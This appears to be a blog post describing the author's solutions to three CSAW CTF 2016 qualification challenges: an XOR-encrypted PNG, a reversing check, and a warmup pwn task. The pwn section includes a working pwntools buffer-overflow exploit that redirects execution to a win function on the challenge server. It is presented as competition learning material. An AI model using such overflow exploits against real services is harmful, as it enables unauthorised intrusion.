CSAW CTF

Qualification Round 2016 csaw

Posted by kablaa: September, 2016
Sleeping Guard Crypto-50 WarmupPwn-50 RockReversing-100

Sleeping Guard (Crypto 50)

With this challenge, they gave us an encrypted png. After a bit of trial and error I realized all I had to do was xor the first few bytes of the encrypted file with the standard header of a png. I just downloaded a sample file. Here is my get_key.py

                             
ecrypted = open('sleeping.png','rb').read().decode('base64')
png = open('sample.png','rb').read()

key = ""
for i in range(0,30):
    key += chr(ord(ecrypted[i]) ^ ord(png[i]))
print key
                            
                        
Which gave me the key:
python get_key.py
WoAh_A_Key!?WoAh_A]?ey#?WoAh_?
                        
Here is my decrypt.py
                            
key = "WoAh_A_Key!?"
encrypted = open('sleeping.png','rb').read().decode('base64')
out = open('decrypted.png','wb')

for i in range(0,len(encrypted)):
    decrypted = chr(ord(encrypted[i]) ^ (ord(key[i % len(key)])))
    out.write(decrypted)
out.close()
                            
                        
Which gave me the image with the flag: sleeping

Warmup (Pwn 50)

This was a very easy challenge. Basically, there was a win function at the address that is bring printed : 0x40060D. This function can be called with a simple buffer overflow. Here is my Exploit.py

                        
from pwn import *

win = 0x40060D

payload = "A"*72
payload += p64(win)
con = remote('pwn.chal.csaw.io',8000)

print con.recvline()
print con.recvline()
con.sendline(payload)
print con.recvline()

                        
                    
Which gave me the falg
[+] Opening connection to pwn.chal.csaw.io on port 8000: Done
-Warm Up-

WOW:0x40060d

>FLAG{LET_US_BEGIN_CSAW_2016}

[*] Closed connection to pwn.chal.csaw.io port 8000

                    

Rock (Reversing 100)

There is a struct in this program.

                            
struct Rock{
    void *fp;
    int pass_fail;
    string *user_input1;
    string *user_input2;
    string *flag_str;
};
                            
                        

Three interesting functions, which I have called init_struct, check_len_and_xor, and is_valid_key

init_struct

init_struct This function initializes the fields in the Rock struct. First, the pass_fail field is set to 0 (pass). Then, the user input fields are populated with the string that is provided by the user. Finally, the flag_str field is populated with the string FLAG23456912365453475897834567.

check_len_and_xor

check_len_and_xor This seems to be the function were all of the important stuff happens. First, it checks to make sure the length of the input is 0x1e or 30. Then it takes every byte of the input and applies the following changes:
                        
for(i = 0; i < length(rockStruct -> user_input1); i++{
    rockStruct ->user_input[i] = (rockStruct ->user_input[i] ^ 80) + 20;
}
for(j = 0; j < length(rockStruct ->user_input1); j++{
    rockStruct ->user_input[j] = (rockStruct ->user_input[j] ^ 16) + 9;
}
                        
                    

is_valid_key

is_valid_key Finally, this function checks each bye of the "encypted" user input against each byte of FLAG23456912365453475897834567.
                        
for(i = 0; i < length(rockStruct->user_input1) ; i++){
    if(rockStruct->user_input1[i] != rockStruct->flag_str[i]){
        cout << "you did not pass" << i;
        rockStruct->pass_fail = 1;
        return rockStruct->pass_fail;
    }
    cout << "pass" << i;
}
return rockStruct->pass_fail;
                        
                    

Here is my decrypt.py script.

                        
s1 = "FLAG23456912365453475897834567"
s2 = ""
for c in s1:
    x = ord(c)
    s2 += chr((((x -9)^16) - 20)^80)
print s2
                        
                    
which gave me the key:
...
Pass 27
Pass 28
Pass 29
/////////////////////////////////
Do not be angry. Happy Hacking :)
/////////////////////////////////
Flag{IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz}